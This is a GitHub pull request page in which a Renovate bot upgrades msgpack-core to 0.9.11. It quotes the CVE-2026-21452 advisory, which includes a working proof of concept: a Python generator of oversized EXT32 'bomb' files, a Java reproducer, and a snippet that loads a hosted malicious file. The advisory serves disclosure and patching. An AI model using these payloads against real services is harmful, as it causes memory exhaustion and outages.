Skip to content

Conversation

@renovate
Copy link

@renovate renovate bot commented Jan 5, 2026

This PR contains the following updates:

Package Change Age Confidence
org.msgpack:msgpack-core (source) 0.8.130.9.11 age confidence

GitHub Vulnerability Alerts

CVE-2026-21452

Summary

Affected Components:

org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()

A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.

PoC

import msgpack
import struct
import os

OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)

# EXT format: fixext / ext8 / ext16 / ext32

# ext32 allows attacker-controlled length (uint32)

length = 1
step = 10_000_000

while True:
    try:
        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)
        header = b'\xC9' + struct.pack(">I", length) + b'\x01'
        payload = b'A'   # actual data tiny

        data = header + payload

        fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
        with open(fname, "wb") as f:
            f.write(data)

        print(f"[+] Generated EXT bomb with declared length={length}")
        length += step

    except Exception as e:
        print("[!] Stopped:", e)
        break

Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer

// Main.java
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ExtensionValue;

import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws Exception {

        byte[] data = Files.readAllBytes(
            Paths.get("ext_length_470000001.msgpack")
        );

        MessageUnpacker unpacker =
            MessagePack.newDefaultUnpacker(data);

        ExtensionValue ext =
            unpacker.unpackValue().asExtensionValue();

        // Vulnerability trigger:
        byte[] payload = ext.getData();

        System.out.println(payload.length);
    }
}

Compile

javac -cp msgpack-core-0.9.8.jar Main.java

Run (with limited heap)

java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main

Observed Result:

Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
    at org.msgpack.core.MessageUnpacker.readPayload(...)
    at org.msgpack.core.MessageUnpacker.unpackValue(...)
var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack");
var d = u.openStream().readAllBytes();
var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);
up.unpackValue().asExtensionValue().getData();

Run:

java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main

A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.

Resolution

This issue is addressed in msgpack/msgpack-java@daa2ea6 by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11

Impact

This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.


Release Notes

msgpack/msgpack-java (org.msgpack:msgpack-core)

v0.9.11

Compare Source

What's Changed

🐛 Bug Fixes
🔗 Dependency Updates
🛠 Internal Updates

Full Changelog: msgpack/msgpack-java@v0.9.10...v0.9.11

v0.9.10

Compare Source

What's Changed

🔥 Breaking Changes
🚀 Features
🐛 Bug Fixes
🔗 Dependency Updates
🛠 Internal Updates
📚 Docs
Other Changes

New Contributors

Full Changelog: msgpack/msgpack-java@v0.9.9...v0.9.10

v0.9.9

Compare Source

What's Changed

🔗 Dependency Updates
🛠 Internal Updates
Other Changes

Full Changelog: msgpack/msgpack-java@v0.9.8...v0.9.9

v0.9.8

Compare Source

What's Changed

🔥 Breaking Changes
🐛 Bug Fixes
🔗 Dependency Updates
🛠 Internal Updates

Full Changelog: msgpack/msgpack-java@v0.9.7...v0.9.8

v0.9.7

Compare Source

What's Changed

🐛 Bug Fixes
🔗 Dependency Updates
🛠 Internal Updates
📚 Docs

New Contributors

Full Changelog: msgpack/msgpack-java@v0.9.6...v0.9.7

v0.9.6

Compare Source

What's Changed

🔥 Breaking Changes

Important: If you need to use DirectByteBuffer (raw memory access) in JDK17 or later, specify two JVM options to allow access to native memory:

--add-opens=java.base/java.nio=ALL-UNNAMED
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED
🔗 Dependency Updates
🛠 Internal Updates
📚 Docs

New Contributors

Full Changelog: msgpack/msgpack-java@v0.9.5...v0.9.6

v0.9.5

Compare Source

What's Changed

🐛 Bug Fixes

  • core (fix): Fix MessageUnpacker.unpackValue to check the custom stringSizeLimit @​xerial (#​753)

🔗 Dependency Updates

🛠 Internal Updates

Full Changelog: msgpack/msgpack-java@v0.9.4...v0.9.5

v0.9.4

Compare Source

What's Changed

🔥 Breaking Changes

🚀 Features

🔗 Dependency Updates

🛠 Internal Updates

📚 Docs

Full Changelog: msgpack/msgpack-java@v0.9.3...v0.9.4

v0.9.3

Compare Source

This version supports JDK17 #​660.

Important: If you need to use DirectByteBuffer (raw memory access) in JDK17 or later, specify two JVM options to allow accessing
native memory:

--add-opens=java.base/java.nio=ALL-UNNAMED
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED

Internal updates:

  • Use SPDX-ID in license name #​653
  • Update airframe-json, airspec to 22.6.4 #​659
  • Update akka-actor to 2.6.19 #​647

v0.9.2

Compare Source

Internal updates:

  • Update jackson-databind to 2.13.3 #​650
  • Update akka-actor to 2.6.19 #​631
  • Update airframe-json, airspec to 22.6.1 #​649
  • Update scalacheck to 1.16.0 #​636
  • Update scala-collection-compat to 2.7.0 #​632
  • Update sbt-sonatype to 3.9.13 #​644
  • Update airframe-json, airspec to 22.5.0 #​643
  • Update sbt to 1.6.2 #​630

v0.9.1

Compare Source

Bug fixes and improvements:

Internal updates:

Known issues:

  • Unpack method doesn't work in JDK17 #​600

v0.9.0

Compare Source

This version support reading and writing Timestamp values.
Packer and unpacker interfaces added pack/unpackTimestamp methods.

Timestamp value in MessagePack is an extension type value whose code is -1. You can read TimestampValue object with MessgageUnapcker.unpackValue method.
If you are using low-level unpack methods (e.g., unpackInt, unpackExtension, etc.),
you need to read unpackExtensionHeader first, and if extHeader.isTimestampType() is true, call unpackTimestamp(extHeader).

Timestamp values are represented with java.time.Instant objects.
You can extract the unixtime value with Instant.getEpochSecond(), unixtime with milliseconds resolution with Instant.toEpochMilli(), and nano-resolution time with Instant.getNano().

As TimestampValue is just a sub class of ExtensionValue, no change requierd in your code that are traversing MessagePack data with MessageUnpacker.unpackValue method.

  • Added Timestamp support #​565 and low-level APIs #​580 for
    reading timestamp values.

Dependency updates:

  • Update jackson-databind to 2.10.5.1 #​559

Internal updates:

  • Update akka-actor to 2.6.14 #​579
  • Fix for Scala 2.13 syntax #​577
  • Update airframe-json, airspec to 21.6.0 #​576
  • Update scala-library to 2.13.6 #​568
  • Update sbt to 1.5.3 #​575

v0.8.24

Compare Source

  • Rebuild with JDK8 for Android compatibility #​567

v0.8.23

Compare Source

  • Produce stable map values #​548
  • Fixes #​544: Fix a bug in reading EXT32 of 2GB size #​545
  • Add a warning note for the usage of MessageUnpacker.readPayloadAsReference #​546

Intenral changes:

  • Add a script for releasing a new version of msgpack-java at CI
  • Publish a snapshot version for every main branch commit #​556
  • Use dynamic versioning with Git tags v0.x.y format #​555
  • Update ScalaTest and ScalaCheck versions #​554
  • Remove findbugs #​553
  • Update build settings to use latest version of sbt and plugins #​552
  • Run GitHub Actions for develop and main branches #​551
  • Remove Travis build #​550

v0.8.22

Compare Source

  • Support extension type key in Map #​535
  • Remove addTargetClass() and addTargetTypeReference() from ExtensionTypeCustomDeserializers #​539
  • Fix a bug BigDecimal serializaion fails #​540

v0.8.21

Compare Source

  • Fix indexing bug in ValueFactory #​525
  • Support numeric types in MessagePackParser.getText() #​527
  • Use jackson-databind 2.10.5 for security vulnerability #​528
  • (internal) Ensure building msgpack-java for Java 7 target #​523

v0.8.20

Compare Source

  • Rebuild 0.8.19 with JDK8

v0.8.19

Compare Source

  • Support JDK11
  • msgpack-jackson: Fixes #​515

v0.8.18

Compare Source

  • (internal) Update sbt related dependencies #​507
  • Use jackson-databind 2.9.9.3 for security vulnerability #​511

v0.8.17

Compare Source

  • Fix OOM exception for invalid msgpack messages #​500
  • Use jackson-databind 2.9.9 for security vulnerability #​505

v0.8.16

Compare Source

  • Fix NPE at ObjectMapper#copy with MessagePackFactory when ExtensionTypeCustomDeserializers isn't set #​471

v0.8.15

Compare Source

  • Suppress a warning in ValueFactory #​457
  • Add MessagePacker#clear() method to clear position #​459
  • Support ObjectMapper#copy with MessagePackFactory #​454
  • Use jackson-databind 2.8.11.1 for security vulnerability #​467
  • (internal) Remove "-target:jvm-1.7" from scalacOptions #​456
  • (internal) Replace sbt test-only command with testOnly #​445
  • (internal) Use JavaConverters instead of JavaConversions in unit tests #​446

v0.8.14

Compare Source

  • Add MessageUnpacker.tryUnpackNil() for peeking whether the next value is nil or not.
  • Add MessageBufferPacker.getBufferSize().
  • Improved MessageUnpacker.readPayload performance #​436
  • Fixed a bug that ChannelBufferInput#next blocks until the buffer is filled. #​428
  • (internal) Upgraded to sbt-1.0.4 for better Java9 support
  • (internal) Dropped Java7 tests on TravisCI, but msgpack-java is still built for Java7 (1.7) target

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested a review from a team as a code owner January 5, 2026 15:00
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant